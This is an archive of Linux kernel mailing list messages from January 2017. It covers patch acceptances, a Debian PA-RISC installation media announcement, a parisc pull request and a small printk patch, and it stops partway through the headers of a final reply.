X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 02 Jan 2017 15:32:05 -0800 (PST)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2378144 gmane.linux.network:447787 gmane.linux.ports.parisc:27135
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2378144>

From: Philippe Reynes <tremyfr@gmail.com>
Date: Sun,  1 Jan 2017 19:11:06 +0100

> The ethtool api {get|set}_settings is deprecated.
> We move this driver to new api {get|set}_link_ksettings.
> 
> Signed-off-by: Philippe Reynes <tremyfr@gmail.com>

Applied.


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] net: dec: de2104x: use new api
 ethtool_{get|set}_link_ksettings
Date: Mon, 02 Jan 2017 19:31:10 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <20170102.193110.1683481179774719485.davem@davemloft.net>
References: <1483293938-5227-1-git-send-email-tremyfr@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483403492 24008 195.159.176.226 (3 Jan 2017 00:31:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2017 00:31:32 +0000 (UTC)
Cc: jarod@redhat.com, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: tremyfr@gmail.com
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 03 01:31:28 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cOD0f-0005Ti-Oo
	for glk-linux-kernel-3@m.gmane.org; Tue, 03 Jan 2017 01:31:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933559AbdACAbO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 2 Jan 2017 19:31:14 -0500
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:48830 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933478AbdACAbL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 2 Jan 2017 19:31:11 -0500
Original-Received: from localhost (cpe-66-108-81-97.nyc.res.rr.com [66.108.81.97])
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 4AA37121180A1;
        Mon,  2 Jan 2017 15:31:59 -0800 (PST)
In-Reply-To: <1483293938-5227-1-git-send-email-tremyfr@gmail.com>
X-Mailer: Mew version 6.7 on Emacs 25.1 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 02 Jan 2017 15:31:59 -0800 (PST)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2378145 gmane.linux.network:447788 gmane.linux.ports.parisc:27136
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2378145>

From: Philippe Reynes <tremyfr@gmail.com>
Date: Sun,  1 Jan 2017 19:05:38 +0100

> The ethtool api {get|set}_settings is deprecated.
> We move this driver to new api {get|set}_link_ksettings.
> 
> Signed-off-by: Philippe Reynes <tremyfr@gmail.com>

Applied.


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] net: dec: winbond-840: use new api
 ethtool_{get|set}_link_ksettings
Date: Mon, 02 Jan 2017 19:31:20 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <20170102.193120.1192728080669516348.davem@davemloft.net>
References: <1483300021-21783-1-git-send-email-tremyfr@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483403496 25673 195.159.176.226 (3 Jan 2017 00:31:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2017 00:31:36 +0000 (UTC)
Cc: mugunthanvnm@ti.com, a@unstable.cc, fw@strlen.de, jarod@redhat.com,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: tremyfr@gmail.com
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 03 01:31:32 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cOD0g-0005Ti-Oo
	for glk-linux-kernel-3@m.gmane.org; Tue, 03 Jan 2017 01:31:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933768AbdACAb0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 2 Jan 2017 19:31:26 -0500
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:48856 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933478AbdACAbW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 2 Jan 2017 19:31:22 -0500
Original-Received: from localhost (cpe-66-108-81-97.nyc.res.rr.com [66.108.81.97])
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 0CA6212129246;
        Mon,  2 Jan 2017 15:32:09 -0800 (PST)
In-Reply-To: <1483300021-21783-1-git-send-email-tremyfr@gmail.com>
X-Mailer: Mew version 6.7 on Emacs 25.1 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 02 Jan 2017 15:32:10 -0800 (PST)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2378146 gmane.linux.network:447789 gmane.linux.ports.parisc:27137
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2378146>

From: Philippe Reynes <tremyfr@gmail.com>
Date: Sun,  1 Jan 2017 20:47:01 +0100

> The ethtool api {get|set}_settings is deprecated.
> We move this driver to new api {get|set}_link_ksettings.
> 
> Signed-off-by: Philippe Reynes <tremyfr@gmail.com>

Applied.


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: New installation media
Date: Tue, 3 Jan 2017 11:44:05 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <4a7124aa-cac8-22da-7712-9a8a3fd8e6f0@gmx.de>
References: <39af2e8ac53993b42705f10216806a0b@purple-cat.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483440277 11692 195.159.176.226 (3 Jan 2017 10:44:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2017 10:44:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: debian-hppa@lists.debian.org,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: mike@purple-cat.net
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 11:44:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cOMZy-0002J9-1v
	for glpp-linux-parisc@m.gmane.org; Tue, 03 Jan 2017 11:44:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1757254AbdACKod (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 3 Jan 2017 05:44:33 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:58860 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752766AbdACKoc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 3 Jan 2017 05:44:32 -0500
Original-Received: from [192.168.20.60] ([92.203.18.155]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M2ojS-1cgRxB0HV0-00sfYY; Tue, 03
 Jan 2017 11:44:07 +0100
In-Reply-To: <39af2e8ac53993b42705f10216806a0b@purple-cat.net>
X-Provags-ID: V03:K0:xkN0KLbjickExzKYx2b+JthHtFwGfz8AV9IE+jIrqp8+q3kdo7w
 3xbjMl+hHAAP1iDSF2Iuev3LNEkSWIclDsSMQSpOhmT/OLAY+e1wQxST2zTHM6Berie8rEK
 FYDmvwgymOEq0kXeKEj1Ms7bgTxdC9JpFygv+I4tNnSjNs2bYHf2qfZb/crcL7lx4t8FNJP
 0cBgSwn+X5JWb17FzBCvA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wQIUH8cC/7Q=:jDXZSa6kiUo+inTT/FLP4+
 yrtrgh58x55P1bqMj1lR/9MEcD7fzglIBLjGPr4xRBLJUe3QqFVRIVR+4lRKcVYaRmyOd7HKW
 0LrMTD7j7cOiJ+8ztwe59DK+Mv1V8uRm22bRP9hLJRRGVEiT49n7HSNNr4giGw2DJkAAtYu2/
 IwPKbKQ8afJtUTm4guzOoIOZsLgG6ULmLyoyXDFKwn1GduedAJL5C+BTev9Fvo6dckNV1BN9W
 ffZXknUVvhr62wTR/rm03tgJObSfl4K/IvBVMtB3Y/uUCWObT474Nl8WGNq1DCD4rjK6TqYtK
 4/IVZMKxsayKXvCjNQzoONPJRMfBfqRiNY/aOq1zhnlH16HFq/EwhWNgnr7PwlShnroE/VM81
 yZgAKcoxTlkXmwkqgPxV2qldQL55ZZTHiyHei+ON50UoJZ5tpBqlYOkeK5Rq4ESMlE5eeXBQe
 e0KnX7VI8iQwO1Hghk76IDgQF7T9RoKFnXlaYSYTMMt/r9CewWLxeX6x9D3apfnc84M9wfFcH
 EnPjiHOj0L8hQySgaeiowbF44qVUI9iMXnLwQW2oafx+T82J4MW2CxFRGKKCQebspeP4gQBk8
 T+jJdArrhAh1UKj8c+3DbA7WkNyCvmnr5cDgLtKhw00bresjqlfDI/Am1uexLbAcc5cJEMaJO
 PE3pkOMjcWUQ/gNLKqVl16e55cTfBh5kBdJDbrSVwPIK66698jST3bYNrAz/BORDiIW+9OXYN
 4kbPoCfQX/6/SrCdfpXwqtxg+tUrvga0Sw0Rsyjx69WqZ59WEGogIdi8qNVcsDm2WuHr0S6H 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27138 gmane.linux.debian.ports.hppa:7540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27138>

Forwarding to parisc kernel devel list...

On 03.01.2017 11:07, mike@purple-cat.net wrote:
> Hello debian-hppa list members,
> 
> There is new instalation media available at http://prometheus.parisc-linux.org/debian-cd/debian-9.0/debian-9.0r1/
> 
> This allows instalation of the latest unstable/sid release of Debian GNU/Linux for the HP PARISC (hppa) architecture.
> 
> An installation guide will be updated on
> 
> https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
> 
> *Installation instructions*
> 
>   * Instructions to burn the ISO image on a Mac: https://discussions.apple.com/thread/5132196
>   * *IMPORTANT: * If your machine has a DVD-drive, you should better burn the image to a DVD disc. The first-generation DVD-drives in some older PA-RISC machines may have problems booting from e.g. a CD-RW so you may get this error message: /IPL error: bad LIF magic./
>   * Those images should work on all machines, with 32- and 64bit kernels. Installation of a C8000 workstation needs to happen via serial console since the install image will not activate the ATI graphics card. After installation the ATI cards will work in non-accelerated mode though.
>   * If your machine is behind a firewall, enter the proxy at the IPL command line the Linux kernel command line (change parameter 7)
>   * Choose the automatic disc partitioning, unless you know all details about disc partitions for PA-RISC (e.g. PALO bootloader needs ext2).
>   * The palo bootloader needs to reside on a SCSI disc. The installer will detect SATA discs and will not complain if you install to a SATA disc!
>   * After reboot add this line to /etc/apt/sources.list and run *apt-get update*:
>   *
> 
>       deb http://ftp.ports.debian.org/debian-ports unstable main
> 
> 
>     Technical background of the install images
> 
>     The installer images: debian-9.0r1-hppa-CD-1.iso and debian-9.0r1-hppa-NETINST-1.iso pull the debian packages from the repositories at http://prometheus.parisc-linux.org/debian-hppa-install/
>     which contains a full archive of the Debian Ports (hppa) 3/01/16
>     This is realized by the /preseed/url=http://prometheus.parisc-linux.org/debian-hppa-install/preseed.9.0r1nb.cfg/ Linux kernel parameter which is hardcoded in the palo bootloader code in those images and require an internet conection to install.
> 
>  
> 
> Please send an installation report, any errors and any feed back to the list debian-hppa@lists.debian.org <mailto:debian-hppa@lists.debian.org>
> 
> Mike Hosken
> mike@purple-cat.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for v4.10-rc3
Date: Tue, 3 Jan 2017 17:38:34 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20170103163834.GA1129@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483461664 3360 195.159.176.226 (3 Jan 2017 16:41:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2017 16:41:04 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 03 17:40:55 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cOS8i-00078s-I6
	for glk-linux-kernel-3@m.gmane.org; Tue, 03 Jan 2017 17:40:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935519AbdACQk2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 3 Jan 2017 11:40:28 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:51557 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752896AbdACQjR (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 3 Jan 2017 11:39:17 -0500
Original-Received: from p100.box ([92.203.18.155]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LomJ1-1cysK61oaZ-00gm7C; Tue, 03
 Jan 2017 17:38:37 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:KfUlg2kcVjGpqp9aEcs889DEgusLO4GykjLPHZVvUuUVpVOQUfp
 NVPjRjOTUhKi3PkWdZjVPxAFJEl/Hq58GtAElJkTick0riCm0v7iaYdoHTr/4An6iuXWGQ/
 UGrJGb6efxwL5xLX86gz/6dNLtkzWBLvtv38R1XgXurmic1W3/BV9tmZmPUgLHbNjtoXYz+
 beh1ZWk1xowVXV+TDqGUw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wMwhj4vv4zI=:u257HOamWCg8xkAMn3pAEv
 0r6SNFjMhokkfbLIn5+n8YN/4ztxYsomMKmts5Hztps1sxUJs+RiV+jFthX5YITt4sq/73F5b
 K8oqVYK88ASBwd+0HkvMATG2ZwVDrhtaw4H8tgYEKTwHk4NTX0a8Rm9HHNtm3ACDZbzSXcluR
 OPZuGuOWl7tOlRF4qSbKhLF7EcCYLDhEKFw4B5YTQLtNuRIRDzxZzkb9Uq9i+8deqmq/Fe/P6
 I7S/051/pDhClKAGMlTSvBR9tYTkAutnjDM32eGpyhIQVR+d3ROsAIGk710s7h2FyscbgabQE
 xX7xVPbXY4VcW9fdMRLqBYLQ2aG2b7YFrwrDVSB6GV17TzDGwhfvDAzRcZaQs5hVAlyF8iQvd
 Ue7BbqFMQ7K4ogAFGC0dUc6y4uCS6V26uzKS2ZG9cPQNkyrFaYO2qWRBAasYtrPFyBg++TnqK
 TsNKZrkW4UPefcr4ILjZnsHLlPmsS0boEX6ZWGa7o1CPpUE0UCA2MiDTI3keUZNidEqpFywrw
 trUuZsTk4QR1fvdbGuxbupIO35WJ2vlVKAKtLELcIJh9aM6ypjD/QN+ugSiKa5awU1y624EhV
 gTYb2WlAHR/TwV1+2QnoGs4HfR0BXQfqJXSL3WTWalBMJ2iPOgsCKeB6gHDFMzt5/9uaDlgFG
 IRC3pUUjEpQ8wdRDkNOPWZGn+HggYWZAf/KYGBIrOPShoPNs8QztzAz3xcpwtw807qhSk92OB
 dPaFY+U1qpcXOQhP20KZ4nR0J6TaesoM3oYaKd3O7FQPxrJyLzAl2L6BXmU=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2378656 gmane.linux.ports.parisc:27139
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2378656>

Hi Linus,

please pull three updates for the parisc architecture for kernel 4.10-rc3 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.10-2

Changes include:

- Limit usage of processor-internal cr16 clocksource to UP systems only
- Segfault info lines in syslog were too long, split those up
- Drop own TIF_RESTORE_SIGMASK flag and switch to generic code

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (3):
      parisc: Mark cr16 clocksource unstable on SMP systems
      parisc: Drop TIF_RESTORE_SIGMASK and switch to generic code
      parisc: Add line-break when printing segfault info

 arch/parisc/include/asm/thread_info.h |  1 -
 arch/parisc/kernel/time.c             | 23 ++++++++++++++++++++---
 arch/parisc/mm/fault.c                |  2 +-
 3 files changed, 21 insertions(+), 5 deletions(-)


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc, parport_gsc: Fixes for printk continuation lines
Date: Tue, 3 Jan 2017 22:55:50 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20170103215550.GA30189@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483480593 8115 195.159.176.226 (3 Jan 2017 21:56:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2017 21:56:33 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 22:56:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cOX3x-0007bc-T4
	for glpp-linux-parisc@m.gmane.org; Tue, 03 Jan 2017 22:56:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S966450AbdACV4M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 3 Jan 2017 16:56:12 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:50820 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965148AbdACV4H (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 3 Jan 2017 16:56:07 -0500
Original-Received: from p100.box ([92.203.18.155]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MdKgV-1c7pO61pxr-00IW1e; Tue, 03
 Jan 2017 22:55:53 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:dXhL0q3taiEOl80aLoFG4OWUcCYZ4zPQWlvB4ttghkAP1pJw00k
 QoUZyl0guS4UYN80N4fMlJ1NiCJyNPPG9y91xqIMvRFyuVV3LO7APYO0qPM8WBx+oZEA8zq
 hyhSOWg7TCLlNlvOhwP2rAZBxClD+TIpRQSadN3DShAjoYL/6zKcbaKR0HI7+TXwiviEnjy
 0YMdzLP4th43t1j1ljeeQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Rdc34tX3n1s=:w6Oa9+MbHkVUcxUVe+4d4j
 CmtMKlPPM9zPPR+5gMPWIhzIMaznVXDnvL9Caq2iWhnOgqhqnagiQuOyu2LlVUvJJRWO5DA/M
 WvbJceSxdVCKQpWfaWXGO69a3xX2LDWChhRYh0V1Q+kVe/mppFRRLORPoLinAT9u1iY/kMuPv
 SRFSDWG/x0bu7MT3v2t2v2SSxrG46Or5ST7IqCxQxWv+L9VsRjpkP62hGKdK26pX/DhesVciq
 0HiT8OOT3Ynk6qAAF9hMk97X/JpIGZgRJCjcgwHUoAXyh2v+9SvS8koSiStTSCDZjA2SWt6bz
 kZepcfURl+yLPeFaZGle4SR7gGI7uCCSwBD9BQRma86bP6DjffiOnO5DMk1ulCmLN0PMz/TaV
 cgQTK764BO0ecEGZhAfq3Dd+6AlTBLhJ0MpsG+S/y3EfDQhyRwba4RotjlqgYJ1k9KsItQOMB
 vKRmCqEpL27k+rL6O/SBJgZv02QC5qUz5fMzcMo5BAfITQAPsbZbdQPoHw6QlWuJUzHyaprvf
 3fikBuMInhswJLB5hGnT6qlMjt02q+Hz1vQjNPlebPghLXF2soIYM1MB+cxSnNhNnkRxxOxSp
 9MHKF+wQyvBx+8tZz7c52+/uD8xUuY1d0MSk7PU139tNy56HTp5WsAwuctj+RZE0e7l7LfiUC
 nPQbR9+KqT/p2eDMUXwofE9/8pIIfpvtdhe6gmmImgJFhYOVY9CVzF4EXsQMJLnM5/iy/mQFr
 kCfWVsYZPfXRlcpC7mTZYDxQeOdp6Geuz6+eTkiTtXXDoT+BZX/Ex/Tkl8U=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27140>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
index dd6d4cc..3858b87 100644
--- a/drivers/parport/parport_gsc.c
+++ b/drivers/parport/parport_gsc.c
@@ -293,7 +293,7 @@ struct parport *parport_gsc_probe_port(unsigned long base,
 		p->irq = PARPORT_IRQ_NONE;
 	}
 	if (p->irq != PARPORT_IRQ_NONE) {
-		printk(", irq %d", p->irq);
+		pr_cont(", irq %d", p->irq);
 
 		if (p->dma == PARPORT_DMA_AUTO) {
 			p->dma = PARPORT_DMA_NONE;
@@ -303,8 +303,8 @@ struct parport *parport_gsc_probe_port(unsigned long base,
                                            is mandatory (see above) */
 		p->dma = PARPORT_DMA_NONE;
 
-	printk(" [");
-#define printmode(x) {if(p->modes&PARPORT_MODE_##x){printk("%s%s",f?",":"",#x);f++;}}
+	pr_cont(" [");
+#define printmode(x) {if(p->modes&PARPORT_MODE_##x){pr_cont("%s%s",f?",":"",#x);f++;}}
 	{
 		int f = 0;
 		printmode(PCSPP);
@@ -315,7 +315,7 @@ struct parport *parport_gsc_probe_port(unsigned long base,
 //		printmode(DMA);
 	}
 #undef printmode
-	printk("]\n");
+	pr_cont("]\n");
 
 	if (p->irq != PARPORT_IRQ_NONE) {
 		if (request_irq (p->irq, parport_irq_handler,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Laight <David.Laight@ACULAB.COM>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: RE: [RFC 1/4] mm: remove unused TASK_SIZE_OF()
Date: Thu, 5 Jan 2017 09:51:26 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <063D6719AE5E284EB5DD2968C1650D6DB0258289@AcuExch.aculab.com>
References: <20161230155634.8692-1-dsafonov@virtuozzo.com>
 <20161230155634.8692-2-dsafonov@virtuozzo.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483609933 7887 195.159.176.226 (5 Jan 2017 09:52:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jan 2017 09:52:13 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "0x7f454c46@gmail.com" <0x7f454c46@gmail.com>, Helge Deller <deller@gmx.de>,
 "x86@kernel.org" <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Andy Lutomirski <luto@kernel.org>,
 Thomas Gleixner <tglx@linutronix.de>,
 "linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>,
 "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
 Ralf Baechle <ralf@linux-mips.org>, Martin
 Schwidefsky <schwidefsky@de
To: 'Dmitry Safonov' <dsafonov@virtuozzo.com>, "linux-kernel@vger.kernel.org"
 <linux-kernel@vger.kernel.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jan 05 10:52:07 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1cP4iG-0000X8-Oy
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jan 2017 10:52:00 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cP4iK-0002W3-RM; Thu, 05 Jan 2017 09:52:04 +0000
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
